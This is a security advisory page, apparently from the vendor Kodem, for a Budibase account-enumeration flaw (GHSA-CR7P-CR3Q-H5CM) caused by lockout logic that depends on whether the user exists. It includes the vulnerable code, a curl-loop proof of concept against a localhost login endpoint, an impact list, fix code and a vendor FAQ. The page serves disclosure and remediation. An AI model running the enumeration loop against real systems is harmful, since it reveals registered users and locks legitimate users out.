GHSA-CR7P-CR3Q-H5CM

Budibase: Account Enumeration via Login Lockout Response Differential

export default async (ctx: Ctx, next: Next) => {
  const email = ctx.request.body.username
  if (!email) {
    return await next()
  }
  const dbUser = await userSdk.db.getUserByEmail(email)
  if (dbUser && (await isLocked(email))) {  // line 26: non-existing users skip this entirely
    ctx.set("X-Account-Locked", "1")
    ctx.set("Retry-After", String(env.LOGIN_LOCKOUT_SECONDS))
    ctx.throw(403, "Account temporarily locked. Try again later.")
  }
  return await next()
}

if (err || !user) {
  if (dbUser) {          // line 129: non-existing users never trigger onFailed()
    await onFailed(email)
  }
  if (await isLocked(email)) {
    return handleLockoutResponse(ctx, email)
  }
  // ...
  return passportCallback(ctx, user as any, err, info)
}

# Test against a known-existing email and a non-existing email
# Replace 'default' with the target tenant ID

# Step 1: Send 6 login attempts for an existing user
echo "=== Testing existing user ==="
for i in $(seq 1 6); do
  echo "--- Attempt $i ---"
  curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"[email protected]","password":"wrongpassword"}' 2>&1 \
    | grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized'
  echo ""
done

# Expected: Attempts 1-5 return "Unauthorized"
# Attempt 6 returns: "Account temporarily locked" + X-Account-Locked: 1 + Retry-After: 900

# Step 2: Send 6 login attempts for a non-existing user
echo "=== Testing non-existing user ==="
for i in $(seq 1 6); do
  echo "--- Attempt $i ---"
  curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"[email protected]","password":"wrongpassword"}' 2>&1 \
    | grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized'
  echo ""
done

# Expected: All 6 attempts return "Unauthorized", no lockout ever triggers

# The difference in behavior after 5 attempts confirms whether the email exists.

• Account enumeration: An unauthenticated attacker can determine whether any email address is registered on a Budibase tenant by sending 5-6 login requests and observing whether the response changes to "Account temporarily locked" with the X-Account-Locked header.
• No rate limiting: The login endpoint has no IP-based rate limiting, allowing an attacker to enumerate emails at high speed from a single IP address (~5 requests per email).
• Denial of service side-effect: Each enumerated existing email is locked out for 15 minutes (900 seconds), preventing legitimate users from logging in during that window.
• Enables further attacks: Confirmed valid emails can be used for targeted phishing, credential stuffing against other services, or social engineering.

GHSA-CR7P-CR3Q-H5CM has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Already deployed Kodem?

The lockout behavior should be identical regardless of whether the user exists. Apply lockout tracking based on the email string itself, not conditioned on database user existence:

packages/worker/src/middleware/lockout.ts, Remove the dbUser check:

export default async (ctx: Ctx, next: Next) => {
  const email = ctx.request.body.username
  if (!email) {
    return await next()
  }
  // Check lock status based on email alone, not user existence
  if (await isLocked(email)) {
    ctx.set("X-Account-Locked", "1")
    ctx.set("Retry-After", String(env.LOGIN_LOCKOUT_SECONDS))
    ctx.throw(403, "Account temporarily locked. Try again later.")
  }
  return await next()
}

packages/worker/src/api/controllers/global/auth.ts, Remove the dbUser guard around onFailed:

if (err || !user) {
  // Always increment failure counter regardless of user existence
  await onFailed(email)
  if (await isLocked(email)) {
    return handleLockoutResponse(ctx, email)
  }
  // ...
}

Additionally, consider adding IP-based rate limiting to the login endpoint (similar to what already exists on the password reset endpoint) to limit enumeration throughput.

1. What is GHSA-CR7P-CR3Q-H5CM? GHSA-CR7P-CR3Q-H5CM is a medium-severity security vulnerability in @budibase/server (npm), affecting versions <= 3.38.1. No fixed version is listed yet.
2. How severe is GHSA-CR7P-CR3Q-H5CM? GHSA-CR7P-CR3Q-H5CM has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @budibase/server are affected by GHSA-CR7P-CR3Q-H5CM? @budibase/server (npm) versions <= 3.38.1 is affected.
4. Is there a fix for GHSA-CR7P-CR3Q-H5CM? No fixed version is listed for GHSA-CR7P-CR3Q-H5CM yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is GHSA-CR7P-CR3Q-H5CM exploitable, and should I be worried? Whether GHSA-CR7P-CR3Q-H5CM is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-CR7P-CR3Q-H5CM is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.

Other vulnerabilities in @budibase/server